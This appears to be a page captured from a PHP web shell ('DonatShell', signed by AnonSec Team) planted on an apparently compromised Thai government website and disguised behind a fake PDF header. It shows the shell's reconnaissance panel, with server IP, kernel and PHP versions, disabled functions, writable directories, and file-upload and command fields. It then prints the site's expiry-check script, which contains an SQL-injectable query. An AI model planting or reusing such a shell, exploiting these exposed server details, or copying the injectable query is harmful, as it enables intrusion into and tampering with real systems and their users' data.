%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.177.87  /  Your IP : 122.155.177.87
Web Server : Apache/2
System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64
User : apache ( 994)
PHP Version : 5.3.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,putenv,eval
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thungkhana/domains/thungkhanan.go.th/public_html/expire/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/thungkhana/domains/thungkhanan.go.th/public_html/expire/check_expire.php
<? 
include("expire/config_db.php");

$sql_expire = "SELECT `com_code`,`com_contact_start`,`com_contact_end`,`com_after_expire` FROM `tbl_company` WHERE `com_code`='$company_code'";
$dbquery_s = mysql_query($sql_expire) or die("Can't send query !");
$num_rows_s = mysql_num_rows($dbquery_s);
if($num_rows_s>0)
{
	$result_s = mysql_fetch_assoc($dbquery_s);
	$free_use = $result_s["com_after_expire"];
	$start = $result_s["com_contact_start"];
	$end = $result_s["com_contact_end"];
}
mysql_free_result($dbquery_s);
unset($dbquery_s);

if($num_rows_s>0)
{
	$today = date('Y-m-d');
	$eyy=substr("$end",0,4);$emm=substr("$end",5,2);$edd=substr("$end",8,2);$etime=substr("$end",11,8);
	$tyy=substr("$today",0,4);$tmm=substr("$today",5,2);$tdd=substr("$today",8,2);$ttime=substr("$today",11,8);	
	$end = mktime(0, 0, 0, $emm, $edd, $eyy);
	$today = mktime(0, 0, 0, $tmm, $tdd, $tyy);

	$start_free = mktime(0, 0, 0, $emm, $edd+$free_use, $eyy); 
	$end_free = mktime(0, 0, 0, $tmm, $tdd, $tyy);		
	$countdown_user = (( $start_free-$end_free ) / 86400);	

	if($countdown_user < 0)
	{		
			include("expire/close_db.php");
			echo "<meta http-equiv='refresh' content='0;URL=http://www.crm1.pasworld.co.th/expire.php?company_code=".$company_code."'>";
			exit();
	}
}

include("expire/close_db.php"); 

?>

Anon7 - 2022
AnonSec Team